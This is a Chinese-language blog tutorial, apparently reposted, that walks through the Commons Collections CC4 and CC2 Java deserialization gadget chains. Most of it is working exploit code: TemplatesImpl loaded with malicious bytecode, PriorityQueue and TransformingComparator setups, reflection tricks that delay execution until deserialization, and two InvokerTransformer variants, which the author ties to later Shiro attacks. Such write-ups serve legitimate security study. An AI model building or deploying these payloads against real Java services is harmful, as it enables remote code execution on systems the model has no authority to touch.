Java安全cc4/2反序列化链

本来还要写一个cc5 7的,但是感觉到了后面其他链子都差不多,偷一下懒算了~

CC4 和 2 都是CC 4版本利用的

CC4和2要学习比较重要的地方,就是不用Transformer[]数组去传递恶意类和方法进行命令执行

CC4 入口点:

TransformingComparator.compare() =>

PriorityQueue.readObject().heapify().siftDown().siftDownUsingComparator().compare()

最后在执行恶意对象的compare()方法时候transform()命令执行

相信在之前看了我的CC链文章的你,已经对这些不陌生了,很熟练了。

都是new 这2个类,然后套一下,前面的恶意类加载构造利用newInstace类加载那一套

        //  1        // 类加载        TemplatesImpl templates = new TemplatesImpl();
        Class temp =  templates.getClass();
        Field name = temp.getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"aaa");
        Field bytecodes = temp.getDeclaredField("_bytecodes");        bytecodes.setAccessible(true);        byte[] code = Files.readAllBytes(Paths.get("/xxxxxxx/ClassTest/ExecTest.class"));        byte[][] codes = {code};        bytecodes.set(templates,codes);
        Field factory = temp.getDeclaredField("_tfactory");        factory.setAccessible(true);        factory.set(templates,new TransformerFactoryImpl());
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(TrAXFilter.class),                instantiateTransformer        };
        ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);

如果像以下代码那样执行的话,就会在序列化的时候提前执行RCE

        //  1        // 类加载        TemplatesImpl templates = new TemplatesImpl();
        Class temp =  templates.getClass();
        Field name = temp.getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"aaa");
        Field bytecodes = temp.getDeclaredField("_bytecodes");        bytecodes.setAccessible(true);        byte[] code = Files.readAllBytes(Paths.get("/xxxxxxx/ClassTest/ExecTest.class"));        byte[][] codes = {code};        bytecodes.set(templates,codes);
        Field factory = temp.getDeclaredField("_tfactory");        factory.setAccessible(true);        factory.set(templates,new TransformerFactoryImpl());
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(TrAXFilter.class),                instantiateTransformer        };
        ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);                //  2//        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));        TransformingComparator transformingComparator1 = new TransformingComparator<>(chainedTransformer);
        // 3        // 防止序列化提前RCE        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator1);        priorityQueue.add("1");        priorityQueue.add("2")                serialize(priorityQueue);//        desrialize("ser.bin");

跟往后的链子一样,如果在一开始就传入ChainedTransformer[]数组的话,就会发现add()方法里也执行了compare()方法

PriorityQueue.add().offer().siftup().siftUpUsingComparator().compare().queue[k] = e;

 

compare的时候就执行计算器弹窗了,所以这里我们设置一个空的Transformer对象,然后在最后序列化之前,利用反射把这个传入的对象更改回来为ChainedTransformer[]就可以了。

但是这里为什么一定要add呢?

先看看PriorityQueue.readObject()执行了什么

 

可以看到这里的heapify()方法会对i 和 size执行某种计算,默认的 size 值在这个类里是默认0的

 

在上面也有提示,这个size也代表着queue里的元素,在我们一开始new这个类的时候传的是一个空对象,在这里用不到,所以为了绕过这个计算,我们需要传入2个元素对象。

这个地方其实是关乎开发的一个队列运算,有兴趣的朋友可以自己搜来看看,笔者对这个地方不太感冒,给我想冒烟了。

所以一开始传一个无效Transfomrer对象,然后add 2个元素进去以后,再把反射改回ChainedTransform,就可以正常在反序列化以后走transform()弹计算器了。

TemplatesImpl templates = new TemplatesImpl();
        // 老样子,构造newInstance类加载,恶意类        Class temp =  templates.getClass();
        Field name = temp.getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"aaa");
        Field bytecodes = temp.getDeclaredField("_bytecodes");        bytecodes.setAccessible(true);        byte[] code = Files.readAllBytes(Paths.get("/xxxxx/ClassTest/ExecTest.class"));        byte[][] codes = {code};        bytecodes.set(templates,codes);
        Field factory = temp.getDeclaredField("_tfactory");        factory.setAccessible(true);        factory.set(templates,new TransformerFactoryImpl());
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(TrAXFilter.class),                instantiateTransformer        };
        ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);

        //  2        // 防止序列化提前RCE        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));//      TransformingComparator transformingComparator1 = new TransformingComparator<>(chainedTransformer);
        // 3        // add 2个元素绕过计算进入下一步        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);        priorityQueue.add("1");        priorityQueue.add("2");
        // 4        // 反射修改属性,反序列化触发RCE        Class clazz = TransformingComparator.class;        Field clazzDeclaredField = clazz.getDeclaredField("transformer");        clazzDeclaredField.setAccessible(true);        clazzDeclaredField.set(transformingComparator,chainedTransformer);
        serialize(priorityQueue);        desrialize("ser.bin");

至此CC4反序列化链子就结束了

接下来到CC2

其实CC2跟CC4差不多,就是传递恶意方法的方式不一样,前面CC4用数组,CC2就不利用数组传递恶意类。

我们知道CC4的templates类传到TrAxFilter类,最后也是为了执行他自己的newTransformer()方法

 

所以我们这里直接把这个方法通过invoker直接构造出来,不利用数组

InvokerTransformer<ObjectObject> invoker = new InvokerTransformer<>("newTransformer",new Class[]{},new Object[]{});

那你们就会好奇,那我恶意类怎么传入呢?

笔者知道的有2种方式。

第一种:

在观察PriorityQueue.readObject()的时候,会发现最后compare().transform()方法会对queue[]数组里的元素执行,那回过头来看看add()方法的compare处

 

这里如果templates在add的时候是在第一个传递进去的,那么就会来到上图的(E) e 部分,最后会传递到queue[k]数组里,之后在readObject()的时候不是就会对queue数组执行compare()方法吗,在反序列化时候,恶意类和方法就会碰到一起transform()方法,进行R

 

TemplatesImpl templates = new TemplatesImpl();
        Class temp =  templates.getClass();
        Field name = temp.getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"aaa");
        Field bytecodes = temp.getDeclaredField("_bytecodes");        bytecodes.setAccessible(true);        byte[] code = Files.readAllBytes(Paths.get("/xxxx/ExecTest.class"));        byte[][] codes = {code};        bytecodes.set(templates,codes);
        Field factory = temp.getDeclaredField("_tfactory");        factory.setAccessible(true);        factory.set(templates,new TransformerFactoryImpl());
        InvokerTransformer<Object, Object> invoker = new InvokerTransformer<>("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);        // templates要在add的第一个位置传递才行        priorityQueue.add(templates);        priorityQueue.add("2");
        Class clazz = transformingComparator.getClass();        Field clazzDeclaredField = clazz.getDeclaredField("transformer");        clazzDeclaredField.setAccessible(true);        clazzDeclaredField.set(transformingComparator,invoker);
        serialize(priorityQueue);        desrialize("ser.bin");

第二种办法:

就是add正常add,但是这个queue[]里传递恶意类,就利用反射,修改里面这个数组[]其中位置元素为恶意类即可

Field queue = priorityQueue.getClass().getDeclaredField("queue");queue.setAccessible(true);Object[] queues = (Object[]) queue.get(priorityQueue);queues[0] = templates;
TemplatesImpl templates = new TemplatesImpl();
        Class temp =  templates.getClass();
        Field name = temp.getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"aaa");
        Field bytecodes = temp.getDeclaredField("_bytecodes");        bytecodes.setAccessible(true);        byte[] code = Files.readAllBytes(Paths.get("/xxxx/ExecTest.class"));        byte[][] codes = {code};        bytecodes.set(templates,codes);
        Field factory = temp.getDeclaredField("_tfactory");        factory.setAccessible(true);        factory.set(templates,new TransformerFactoryImpl());
        InvokerTransformer<Object, Object> invoker = new InvokerTransformer<>("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);        priorityQueue.add("1");        priorityQueue.add("2");
        Class clazz = transformingComparator.getClass();        Field clazzDeclaredField = clazz.getDeclaredField("transformer");        clazzDeclaredField.setAccessible(true);        clazzDeclaredField.set(transformingComparator,invoker);
        // add随便add元素,这里利用反射修改进去就可以        Field queue = priorityQueue.getClass().getDeclaredField("queue");        queue.setAccessible(true);        Object[] queues = (Object[]) queue.get(priorityQueue);        queues[0] = templates;
        serialize(priorityQueue);        desrialize("ser.bin");

至此CC4和CC2就分析完毕了~

其实为什么要想一个无Transfomer[]数组构造方式呢,是因为后续讲到的shiro CC链执行的时候,Shiro读取序列化的过程有方法被重写了,导致数组恶意类无法传递进去,所以这个点蛮重要的。

原创文章,作者:guozi,如若转载,请注明出处:https://www.sudun.com/ask/81013.html

(0)
guozi's avatarguozi
上一篇 2024年5月31日 上午11:13
下一篇 2024年5月31日 上午11:15

相关推荐

  • 如何在佛山建站?

    佛山作为中国南方的经济中心城市,近年来发展迅速,吸引了越来越多的企业和个人前来发展。而在这个数字化时代,建立一个网站已经成为企业和个人必不可少的一部分。但是,在佛山建站并不是一件容…

    行业资讯 2024年4月7日
    0
  • 手机网站图片被屏蔽了怎么恢复,网址被屏蔽怎么办

    近年来,随着互联网的快速发展,网站已成为人们获取信息、交流、娱乐的主要渠道。然而,当您浏览该网站时,您可能会发现某些照片被屏蔽。这不仅影响我们的浏览体验,也让网站运营商烦恼不已。那…

    行业资讯 2024年5月9日
    0
  • 搜索引擎优化学习

    搜索引擎优化,这个听起来有些高大上的名词,其实它就是指通过某些技术手段来提升网站在搜索引擎中的排名,从而吸引更多的访问量和流量。那么为什么要学习搜索引擎优化呢?因为在如今这个信息爆…

    行业资讯 2024年3月23日
    0
  • seo关键词排名优化公司

    如果你是一位网站拥有者,想要提升自己的网站在搜索引擎中的排名,那么你一定会经常听到“SEO关键词排名优化”这个词。那么什么是SEO关键词排名优化?为什么它如此重要?如何选择合适的S…

    行业资讯 2024年3月31日
    0

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注